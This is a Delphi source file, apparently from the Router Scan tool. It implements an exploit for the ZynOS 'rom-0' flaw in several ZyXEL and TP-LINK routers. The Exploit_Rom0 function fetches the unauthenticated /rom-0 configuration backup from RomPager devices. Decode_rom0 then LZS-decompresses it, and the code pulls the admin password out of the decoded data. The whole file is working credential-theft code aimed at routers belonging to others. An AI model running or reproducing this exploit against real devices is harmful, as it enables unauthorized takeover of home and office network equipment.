// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html
// http://brezular.com/2014/06/20/zynos-rom-0-exploit/

procedure Decode_rom0(var M: TMemoryStream);
var
  unknown, blockSize: DWORD;
  majorVersion, minorVersion, orgSize, rawSize: Word;
  BufIn, BufOut: TBytes;
  O: TMemoryStream;
  Swap: Boolean;

  function SwapEndian(Value: Cardinal): Cardinal; register; overload;
  asm
    bswap eax
  end;

  function SwapEndian(Value: Word): Word; register; overload;
  asm
    xchg  al, ah
  end;

begin
  unknown := 0;
  O := TMemoryStream.Create;
  M.Seek(0, soFromBeginning);
  while M.Size - M.Position >= 4 do begin
    M.ReadBuffer(unknown, 4);
    if (unknown = $DBDBEDCE)
    or (unknown = $CEEDDBDB) then begin
      Swap := unknown = $DBDBEDCE;
      Break;
    end;
    M.Seek(-3, soCurrent);
  end;
  if M.Size - M.Position < 4 then
    Exit;
  M.ReadBuffer(majorVersion, 2);
  if Swap then
    majorVersion := SwapEndian(majorVersion);
  M.ReadBuffer(minorVersion, 2);
  if Swap then
    minorVersion := SwapEndian(minorVersion);
  M.ReadBuffer(blockSize, 4);
  blockSize := SwapEndian(blockSize);
  while M.Position < M.Size do begin
    if M.Size - M.Position < 2 then
      Break;
    M.ReadBuffer(orgSize, 2);
    if Swap then
      orgSize := SwapEndian(orgSize);
    if M.Size - M.Position < 2 then
      Break;
    M.ReadBuffer(rawSize, 2);
    if Swap then
      rawSize := SwapEndian(rawSize);
    if orgSize > $8000 then
      Break;
    if rawSize > 0 then begin
      if rawSize > M.Size - M.Position then
        rawSize := M.Size - M.Position;
      SetLength(BufIn, rawSize);
      M.ReadBuffer(BufIn[0], rawSize);
      try
        LZSDecompress(BufIn, BufOut);
      except

      end;
      if Length(BufOut) = orgSize then
        O.WriteBuffer(BufOut[0], Length(BufOut))
      else
        Break;
      Break;
    end;
  end;
  M.Free;
  M := O;
end;

function TRouter.Exploit_Rom0(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  MS: TMemoryStream;
  A: AnsiString;
begin
  // Affected:
  // ZyXEL ZyWALL Series P-2608HWL-D1
  // ZyXEL ZyWALL Series Prestige 791R
  // ZyXEL ZyWALL Series P-660RU-T1 v2
  // TP-LINK TD-W8901G
  // TP-LINK TD-W8961ND
  // ZyXEL ZyWALL Series P-660HW-T1 v2
  // ZyXEL ZyWALL Series P-2602HWL-D1A
  // ZyXEL ZyWALL Series P-660H-D7
  // ZyXEL ZyWALL Series P660HT2
  Result := False;
  if Pos('RomPager', ServerName)=0 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/rom-0',
  MS, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    SetLength(A, MS.Size);
    Move(MS.Memory^, A[1], Length(A));
    if Pos('dbgarea', A)=0 then begin
      MS.Free;
      Exit;
    end;
    A := '';
    if (Code = 200) and (MS.Size >= 16384) then begin
      Decode_rom0(MS);
      if MS.Size >= 2048 then begin
        Tmp := PtrStr(Cardinal(MS.Memory) + $14, 32);
        if Tmp <> '' then begin
          Result := True;
          AuthUser := 'admin';
          AuthPass := Tmp;
        end;
      end;
    end;
  end;
  MS.Free;
end;
